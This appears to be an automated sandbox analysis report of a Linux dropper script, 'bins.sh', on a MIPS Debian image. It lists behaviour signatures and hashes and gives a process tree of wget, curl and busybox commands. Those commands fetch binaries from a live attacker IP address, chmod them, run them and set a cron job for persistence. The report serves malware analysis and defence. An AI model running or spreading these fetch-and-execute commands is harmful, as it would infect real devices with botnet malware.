Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240418-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    07/11/2024, 02:32

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241107-cz94bawkbj
  • SHA256 6265eebce01310bd7f75b57be67d5ae35e4f453ef437e8941475ed24ee3b9765
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1904) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:708
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:715
        • /usr/bin/wget
          wget http://87.120.84.230/bins/jMLRpoCMTALSCSdZ6OVh1saphLiO1QpY8c
          2⤵
          • Writes file to tmp directory
          PID:716
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/jMLRpoCMTALSCSdZ6OVh1saphLiO1QpY8c
          2⤵
          • Writes file to tmp directory
          PID:731
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/jMLRpoCMTALSCSdZ6OVh1saphLiO1QpY8c
          2⤵
          • Writes file to tmp directory
          PID:739
        • /bin/chmod
          chmod 777 jMLRpoCMTALSCSdZ6OVh1saphLiO1QpY8c
          2⤵
          • File and Directory Permissions Modification
          PID:740
        • /tmp/jMLRpoCMTALSCSdZ6OVh1saphLiO1QpY8c
          ./jMLRpoCMTALSCSdZ6OVh1saphLiO1QpY8c
          2⤵
          • Executes dropped EXE
          PID:741
        • /bin/rm
          rm jMLRpoCMTALSCSdZ6OVh1saphLiO1QpY8c
          2⤵
            PID:743
          • /usr/bin/wget
            wget http://87.120.84.230/bins/BdM3swex5GkNMj0ZFaOdO7IEFpkUlBCTYi
            2⤵
            • Writes file to tmp directory
            PID:744
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/BdM3swex5GkNMj0ZFaOdO7IEFpkUlBCTYi
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:745
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/BdM3swex5GkNMj0ZFaOdO7IEFpkUlBCTYi
            2⤵
            • Writes file to tmp directory
            PID:746
          • /bin/chmod
            chmod 777 BdM3swex5GkNMj0ZFaOdO7IEFpkUlBCTYi
            2⤵
            • File and Directory Permissions Modification
            PID:747
          • /tmp/BdM3swex5GkNMj0ZFaOdO7IEFpkUlBCTYi
            ./BdM3swex5GkNMj0ZFaOdO7IEFpkUlBCTYi
            2⤵
            • Executes dropped EXE
            PID:748
          • /bin/rm
            rm BdM3swex5GkNMj0ZFaOdO7IEFpkUlBCTYi
            2⤵
              PID:750
            • /usr/bin/wget
              wget http://87.120.84.230/bins/vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
              2⤵
              • Writes file to tmp directory
              PID:751
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
              2⤵
              • Writes file to tmp directory
              PID:752
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
              2⤵
              • Writes file to tmp directory
              PID:761
            • /bin/chmod
              chmod 777 vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
              2⤵
              • File and Directory Permissions Modification
              PID:766
            • /tmp/vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
              ./vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
              2⤵
              • Executes dropped EXE
              PID:767
            • /bin/rm
              rm vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
              2⤵
                PID:770
              • /usr/bin/wget
                wget http://87.120.84.230/bins/UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
                2⤵
                • Writes file to tmp directory
                PID:772
              • /usr/bin/curl
                curl -O http://87.120.84.230/bins/UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:783
              • /bin/busybox
                /bin/busybox wget http://87.120.84.230/bins/UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
                2⤵
                • Writes file to tmp directory
                PID:793
              • /bin/chmod
                chmod 777 UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
                2⤵
                • File and Directory Permissions Modification
                PID:800
              • /tmp/UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
                ./UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:802
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:804
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:805
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:808
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          • Reads runtime system information
                          PID:809
                    • /bin/rm
                      rm UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
                      2⤵
                        PID:814
                      • /usr/bin/wget
                        wget http://87.120.84.230/bins/OlWQFd2qF9WjSFRXDPX923MMOjUpbtVbhr
                        2⤵
                          PID:817

                      Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            BdM3swex5GkNMj0ZFaOdO7IEFpkUlBCTYi

                            • Path /tmp/BdM3swex5GkNMj0ZFaOdO7IEFpkUlBCTYi
                            • Size 98KB
                            • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                            • MD5 SHA1 SHA512 SSDEEP

                            UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj

                            • Path /tmp/UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
                            • Size 151KB
                            • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                            • MD5 SHA1 SHA512 SSDEEP

                            jMLRpoCMTALSCSdZ6OVh1saphLiO1QpY8c

                            • Path /tmp/jMLRpoCMTALSCSdZ6OVh1saphLiO1QpY8c
                            • Size 112KB
                            • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                            • MD5 SHA1 SHA512 SSDEEP

                            vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y

                            • Path /tmp/vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
                            • Size 127KB
                            • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                            • MD5 SHA1 SHA512 SSDEEP

                            tmp.h7i0vv

                            • Path /var/spool/cron/crontabs/tmp.h7i0vv
                            • Size 210B
                            • SHA256 b3d540a9cdcf1e8afc95c0abca97678e73101b7ce1c2e947d00b10cd6dea90a1
                            • MD5 SHA1 SHA512